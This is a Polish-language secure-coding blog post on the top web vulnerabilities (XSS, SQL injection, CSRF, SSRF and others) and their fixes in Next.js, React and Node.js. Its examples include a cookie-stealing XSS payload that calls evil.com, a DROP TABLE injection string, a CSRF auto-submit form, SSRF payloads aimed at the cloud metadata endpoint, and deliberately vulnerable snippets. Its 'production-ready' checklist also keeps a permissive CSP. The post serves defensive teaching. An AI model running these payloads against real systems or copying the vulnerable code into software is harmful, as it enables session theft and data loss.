Web Security Best Practices 2025: Zabezpiecz swoją aplikację jak pro

2025-10-18#security#cybersecurity#web-development

Web Security Best Practices 2025: Zabezpiecz swoją aplikację jak pro

78% aplikacji webowych ma krytyczne vulnerability (OWASP 2025 Report). XSS, SQL Injection, CSRF, clickjacking - te ataki nie zniknęły, tylko się ewoluowały. W 2024 roku średni koszt data breach wyniósł $4.45 miliona (IBM Security Report).

Jako web developer, security jest Twoją odpowiedzialnością. "Nasz backend team się tym zajmie" to nie wymówka - frontend też musi być security-hardened.

W tym kompleksowym przewodniku pokażę Ci top 10 security vulnerabilities OWASP 2025 i jak się przed nimi chronić w Next.js, React i Node.js. Real-world examples, code snippets, production-ready solutions.

Spis treści

  1. XSS (Cross-Site Scripting) - #1 vulnerability
  2. SQL Injection - klasyka, która wciąż zabija
  3. CSRF (Cross-Site Request Forgery)
  4. Broken Authentication
  5. Security Misconfiguration - CSP, Headers
  6. Sensitive Data Exposure
  7. Rate Limiting & DDoS Protection
  8. Dependency Vulnerabilities
  9. Server-Side Request Forgery (SSRF)
  10. Security Headers Checklist

1. XSS (Cross-Site Scripting) - #1 Web Vulnerability

Problem: Unescaped user input

Real attack scenario (2024): Hacker wkleił to w pole komentarza:

<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

Result: Ukradzione session cookies wszystkich użytkowników którzy zobaczyli ten komentarz. 🚨


Types of XSS

1. Stored XSS (najgroźniejszy)

Malicious script jest zapisany w bazie i wyświetlany wszystkim użytkownikom.

// ❌ VULNERABLE CODE
function CommentList({ comments }) {
  return (
    <div>
      {comments.map(comment => (
        <div 
          key={comment.id}
          dangerouslySetInnerHTML={{ __html: comment.content }} // 🚨 XSS!
        />
      ))}
    </div>
  );
}

2. Reflected XSS

Malicious script w URL parametrze.

// ❌ VULNERABLE CODE
function SearchResults() {
  const params = useSearchParams();
  const query = params.get('q');
  
  return <h1>Results for: {query}</h1>; // 🚨 If query contains <script>
}

// Attack URL:
// https://site.com/search?q=<script>alert(document.cookie)</script>

3. DOM-based XSS

JavaScript manipuluje DOM unsafely.

// ❌ VULNERABLE CODE
function updateContent(userInput) {
  document.getElementById('output').innerHTML = userInput; // 🚨 XSS!
}

✅ Solutions: XSS Prevention

Solution #1: Never use dangerouslySetInnerHTML

// ✅ SAFE: React escapes by default
function CommentList({ comments }) {
  return (
    <div>
      {comments.map(comment => (
        <div key={comment.id}>
          {comment.content} {/* ✅ Automatically escaped! */}
        </div>
      ))}
    </div>
  );
}

Solution #2: DOMPurify for HTML sanitization

// ✅ SAFE: When you MUST render HTML
import DOMPurify from 'isomorphic-dompurify';

function CommentList({ comments }) {
  return (
    <div>
      {comments.map(comment => {
        const sanitized = DOMPurify.sanitize(comment.content, {
          ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
          ALLOWED_ATTR: ['href'],
        });
        
        return (
          <div 
            key={comment.id}
            dangerouslySetInnerHTML={{ __html: sanitized }}
          />
        );
      })}
    </div>
  );
}

Solution #3: Content Security Policy (CSP)

// next.config.js
const nextConfig = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-inline' 'unsafe-eval'", // ⚠️ Remove unsafe-* in production
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self' data:",
              "connect-src 'self'",
              "frame-ancestors 'none'", // Prevent clickjacking
            ].join('; '),
          },
        ],
      },
    ];
  },
};

2. SQL Injection - Klasyka, która wciąż zabija

Problem: Concatenating user input in SQL

// ❌ CRITICALLY VULNERABLE
async function getUser(userId: string) {
  const query = `SELECT * FROM users WHERE id = ${userId}`;
  return db.execute(query);
}

// Attack:
getUser("1 OR 1=1"); // Returns ALL users!
getUser("1; DROP TABLE users;--"); // Deletes entire table! 💀

Real case (2024): E-commerce site lost entire customer database to SQL injection. Cost: $12M in lawsuits.


✅ Solutions: SQL Injection Prevention

Solution #1: Parameterized Queries (ORM)

// ✅ SAFE: Prisma ORM
async function getUser(userId: string) {
  return prisma.user.findUnique({
    where: { id: userId }, // ✅ Automatically parameterized
  });
}

// ✅ SAFE: Raw SQL with parameters
async function getUser(userId: string) {
  return db.execute(
    'SELECT * FROM users WHERE id = ?',
    [userId] // ✅ Parameters are escaped
  );
}

Solution #2: Input Validation

// ✅ SAFE: Validate input before query
import { z } from 'zod';

const UserIdSchema = z.string().uuid(); // Only UUIDs allowed

async function getUser(userId: string) {
  const validatedId = UserIdSchema.parse(userId); // Throws if invalid
  
  return prisma.user.findUnique({
    where: { id: validatedId },
  });
}

Solution #3: Principle of Least Privilege

-- ❌ DON'T: App DB user has admin rights
GRANT ALL PRIVILEGES ON database.* TO 'app_user'@'localhost';

-- ✅ DO: App DB user has minimal rights
GRANT SELECT, INSERT, UPDATE ON database.users TO 'app_user'@'localhost';
-- No DROP, no DELETE on critical tables

3. CSRF (Cross-Site Request Forgery)

Problem: Malicious site makes authenticated request

Attack scenario:

  1. User zalogowany na bank.com
  2. User odwiedza evil.com
  3. evil.com zawiera:
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
  1. Browser wysyła cookies z bank.com$10,000 transferred! 💸

✅ Solutions: CSRF Prevention

Solution #1: CSRF Tokens

// Next.js API route
import { getCsrfToken } from 'next-auth/csrf';

export async function GET(request: Request) {
  const csrfToken = await getCsrfToken({ req: request });
  return Response.json({ csrfToken });
}

export async function POST(request: Request) {
  const { csrfToken, ...data } = await request.json();
  
  // Verify CSRF token
  const isValid = await verifyCsrfToken(request, csrfToken);
  if (!isValid) {
    return Response.json({ error: 'Invalid CSRF token' }, { status: 403 });
  }
  
  // Process request...
}

Solution #2: SameSite Cookie Attribute

// Set session cookie with SameSite
export function setSessionCookie(response: Response, sessionId: string) {
  response.headers.set(
    'Set-Cookie',
    `session=${sessionId}; HttpOnly; Secure; SameSite=Strict; Path=/`
  );
}

SameSite options:

  • Strict - Cookie NEVER sent cross-site (safest, may break legitimate flows)
  • Lax - Cookie sent on top-level navigation (balance security/UX)
  • None - Cookie always sent (requires Secure flag)

Solution #3: Check Origin Header

// Middleware
export function csrfMiddleware(request: Request) {
  const origin = request.headers.get('origin');
  const host = request.headers.get('host');
  
  if (origin && new URL(origin).host !== host) {
    return Response.json(
      { error: 'CSRF attack detected' },
      { status: 403 }
    );
  }
  
  return null; // OK
}

4. Broken Authentication

Problem #1: Weak password hashing

// ❌ CRITICALLY VULNERABLE
import crypto from 'crypto';

function hashPassword(password: string) {
  return crypto.createHash('md5').update(password).digest('hex'); // 🚨 MD5 is broken!
}

Why bad: MD5 can be cracked in seconds with rainbow tables.

✅ Solution: bcrypt or Argon2

// ✅ SAFE: bcrypt
import bcrypt from 'bcrypt';

async function hashPassword(password: string) {
  const saltRounds = 12; // Higher = more secure (slower)
  return bcrypt.hash(password, saltRounds);
}

async function verifyPassword(password: string, hash: string) {
  return bcrypt.compare(password, hash);
}

Problem #2: No rate limiting on login

Attack: Brute force 1000 passwords/second until one works.

✅ Solution: Rate limiting

// lib/rateLimit.ts
const attempts = new Map<string, { count: number; resetAt: number }>();

export function checkRateLimit(ip: string, maxAttempts = 5, windowMs = 60000) {
  const now = Date.now();
  const record = attempts.get(ip);
  
  if (!record || now > record.resetAt) {
    attempts.set(ip, { count: 1, resetAt: now + windowMs });
    return { allowed: true, remaining: maxAttempts - 1 };
  }
  
  if (record.count >= maxAttempts) {
    return {
      allowed: false,
      remaining: 0,
      retryAfter: Math.ceil((record.resetAt - now) / 1000),
    };
  }
  
  record.count++;
  return { allowed: true, remaining: maxAttempts - record.count };
}

// Usage in API route
export async function POST(request: Request) {
  const ip = request.headers.get('x-forwarded-for') || 'unknown';
  const limit = checkRateLimit(ip);
  
  if (!limit.allowed) {
    return Response.json(
      { error: 'Too many attempts. Try again later.' },
      { 
        status: 429,
        headers: { 'Retry-After': limit.retryAfter.toString() }
      }
    );
  }
  
  // Process login...
}

Problem #3: Predictable session IDs

// ❌ VULNERABLE
let sessionCounter = 0;
function generateSessionId() {
  return `session_${sessionCounter++}`; // 🚨 Attacker can guess!
}

✅ Solution: Cryptographically secure random IDs

// ✅ SAFE
import { randomBytes } from 'crypto';

function generateSessionId() {
  return randomBytes(32).toString('hex'); // 64 char random hex
}

5. Security Misconfiguration - Headers & CSP

Critical Security Headers

// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const response = NextResponse.next();
  
  // 1. Strict-Transport-Security (HSTS)
  response.headers.set(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload'
  );
  
  // 2. X-Frame-Options (Clickjacking protection)
  response.headers.set('X-Frame-Options', 'DENY');
  
  // 3. X-Content-Type-Options (MIME sniffing protection)
  response.headers.set('X-Content-Type-Options', 'nosniff');
  
  // 4. X-XSS-Protection (Legacy XSS protection)
  response.headers.set('X-XSS-Protection', '1; mode=block');
  
  // 5. Referrer-Policy (Control referrer info)
  response.headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
  
  // 6. Permissions-Policy (Disable dangerous APIs)
  response.headers.set(
    'Permissions-Policy',
    'camera=(), microphone=(), geolocation=()'
  );
  
  // 7. Cross-Origin-Opener-Policy (COOP)
  response.headers.set('Cross-Origin-Opener-Policy', 'same-origin');
  
  // 8. Cross-Origin-Resource-Policy (CORP)
  response.headers.set('Cross-Origin-Resource-Policy', 'same-origin');
  
  return response;
}

Test your headers

Visit: https://securityheaders.com
Enter your domain → Get A+ rating 🏆


6. Sensitive Data Exposure

Problem: Exposing too much data to client

// ❌ VULNERABLE: Server Component
async function UserProfile() {
  const user = await db.users.findById(userId);
  
  // 🚨 Passing entire user object (with password hash!) to client component
  return <UserCard user={user} />;
}

// Client Component
'use client';
function UserCard({ user }) {
  console.log(user); // 🚨 Password hash visible in DevTools!
  return <div>{user.name}</div>;
}

✅ Solution: Data sanitization layer

// lib/sanitize.ts
import 'server-only'; // ⚠️ Ensures this is never imported in client components

export function sanitizeUserForClient(user: User) {
  return {
    id: user.id,
    name: user.name,
    avatar: user.avatar,
    role: user.role,
    // ❌ DON'T expose:
    // - password
    // - email (unless needed)
    // - apiKeys
    // - internalNotes
  };
}

// Usage
async function UserProfile() {
  const user = await db.users.findById(userId);
  const safeUser = sanitizeUserForClient(user); // ✅ Filter sensitive data
  
  return <UserCard user={safeUser} />;
}

Problem: API keys in frontend code

// ❌ CRITICALLY VULNERABLE
const STRIPE_SECRET_KEY = 'sk_live_abc123xyz'; // 🚨 Exposed in bundle.js!

fetch('https://api.stripe.com/v1/charges', {
  headers: { 'Authorization': `Bearer ${STRIPE_SECRET_KEY}` }
});

✅ Solution: Environment variables + API routes

# .env.local (NEVER commit to git!)
STRIPE_SECRET_KEY=sk_live_abc123xyz
// app/api/create-payment/route.ts (Server-side only!)
export async function POST(request: Request) {
  const { amount } = await request.json();
  
  const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!); // ✅ Server-only
  
  const paymentIntent = await stripe.paymentIntents.create({
    amount,
    currency: 'usd',
  });
  
  return Response.json({ clientSecret: paymentIntent.client_secret });
}

7. Rate Limiting & DDoS Protection

Production-ready Rate Limiter (Upstash Redis)

// lib/rateLimit.ts
import { Redis } from '@upstash/redis';

const redis = new Redis({
  url: process.env.UPSTASH_REDIS_URL!,
  token: process.env.UPSTASH_REDIS_TOKEN!,
});

export async function rateLimit(
  identifier: string,
  limit = 10,
  window = 60 // seconds
) {
  const key = `rate_limit:${identifier}`;
  const count = await redis.incr(key);
  
  if (count === 1) {
    await redis.expire(key, window);
  }
  
  if (count > limit) {
    const ttl = await redis.ttl(key);
    return {
      allowed: false,
      remaining: 0,
      reset: Date.now() + ttl * 1000,
    };
  }
  
  return {
    allowed: true,
    remaining: limit - count,
    reset: Date.now() + window * 1000,
  };
}

// Usage
export async function POST(request: Request) {
  const ip = request.headers.get('x-forwarded-for') || 'unknown';
  const result = await rateLimit(ip, 5, 60);
  
  if (!result.allowed) {
    return Response.json(
      { error: 'Rate limit exceeded' },
      { 
        status: 429,
        headers: {
          'X-RateLimit-Limit': '5',
          'X-RateLimit-Remaining': '0',
          'X-RateLimit-Reset': new Date(result.reset).toISOString(),
        }
      }
    );
  }
  
  // Process request...
}

8. Dependency Vulnerabilities

Problem: Outdated packages with known CVEs

# Example: old version of 'axios' with security flaw
npm list axios
# axios@0.21.0 (known CVE-2021-3749)

✅ Solutions

1. npm audit (built-in)

npm audit
# Shows vulnerabilities

npm audit fix
# Auto-fixes non-breaking changes

npm audit fix --force
# Fixes including breaking changes (review first!)

2. Snyk (advanced scanning)

npx snyk test
# Scans for vulnerabilities

npx snyk wizard
# Interactive fix wizard

3. Dependabot (GitHub automation)

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

Result: Automatic PRs for security updates! 🤖


9. Server-Side Request Forgery (SSRF)

Problem: Unvalidated URL fetching

// ❌ VULNERABLE
export async function POST(request: Request) {
  const { url } = await request.json();
  
  // 🚨 Attacker can make server fetch internal resources!
  const response = await fetch(url);
  return Response.json(await response.json());
}

// Attack:
POST /api/fetch
{ "url": "http://localhost:6379/INFO" } // Reads Redis data!
{ "url": "http://169.254.169.254/latest/meta-data/" } // AWS credentials!

✅ Solution: URL whitelist

// ✅ SAFE
const ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com'];

export async function POST(request: Request) {
  const { url } = await request.json();
  
  const urlObj = new URL(url);
  
  // Block private IPs
  if (
    urlObj.hostname === 'localhost' ||
    urlObj.hostname === '127.0.0.1' ||
    urlObj.hostname.startsWith('192.168.') ||
    urlObj.hostname.startsWith('10.') ||
    urlObj.hostname.startsWith('172.16.')
  ) {
    return Response.json({ error: 'Invalid URL' }, { status: 400 });
  }
  
  // Whitelist check
  if (!ALLOWED_HOSTS.includes(urlObj.hostname)) {
    return Response.json({ error: 'Host not allowed' }, { status: 403 });
  }
  
  const response = await fetch(url);
  return Response.json(await response.json());
}

10. Security Headers Checklist

Complete Checklist ✅

// Production-ready security headers
export const securityHeaders = {
  // 1. HTTPS enforcement
  'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload',
  
  // 2. XSS protection
  'X-XSS-Protection': '1; mode=block',
  'Content-Security-Policy': [
    "default-src 'self'",
    "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https:",
    "font-src 'self' data:",
    "connect-src 'self'",
    "frame-ancestors 'none'",
  ].join('; '),
  
  // 3. Clickjacking protection
  'X-Frame-Options': 'DENY',
  
  // 4. MIME sniffing protection
  'X-Content-Type-Options': 'nosniff',
  
  // 5. Referrer policy
  'Referrer-Policy': 'strict-origin-when-cross-origin',
  
  // 6. Disable dangerous features
  'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
  
  // 7. Cross-origin isolation
  'Cross-Origin-Opener-Policy': 'same-origin',
  'Cross-Origin-Embedder-Policy': 'require-corp',
  'Cross-Origin-Resource-Policy': 'same-origin',
};

Podsumowanie: Security Checklist 2025

✅ Input Validation

  • [ ] All user input sanitized (DOMPurify)
  • [ ] Schema validation (Zod, Yup)
  • [ ] File upload restrictions (type, size)

✅ Authentication & Authorization

  • [ ] Strong password hashing (bcrypt, Argon2)
  • [ ] Rate limiting on login (5 attempts/min)
  • [ ] Session management (secure cookies)
  • [ ] CSRF protection (tokens + SameSite)

✅ Data Protection

  • [ ] Sensitive data sanitized before client
  • [ ] API keys in environment variables
  • [ ] Encrypted database connections (TLS)
  • [ ] HTTPS everywhere (HSTS header)

✅ Infrastructure

  • [ ] Security headers configured
  • [ ] CSP policy defined
  • [ ] Dependencies updated (npm audit weekly)
  • [ ] Rate limiting on API routes

✅ Monitoring

  • [ ] Error tracking (Sentry)
  • [ ] Security alerts (Snyk, Dependabot)
  • [ ] Logging (but no sensitive data!)

Tools Checklist

  • DOMPurify - XSS protection
  • Zod - Input validation
  • bcrypt - Password hashing
  • Upstash Redis - Rate limiting
  • Snyk - Dependency scanning
  • Sentry - Error monitoring
  • Dependabot - Auto security updates

Powiązane artykuły


Potrzebujesz security audit dla swojej aplikacji? Skontaktuj się ze mną - przeprowadzam penetration testing i implementuję security best practices!


Autor: Next Gen Code | Data publikacji: 18 października 2025 | Czas czytania: 13 minut

Web Security Best Practices 2025: Zabezpiecz swoją aplikację jak pro - NextGenCode Blog | NextGenCode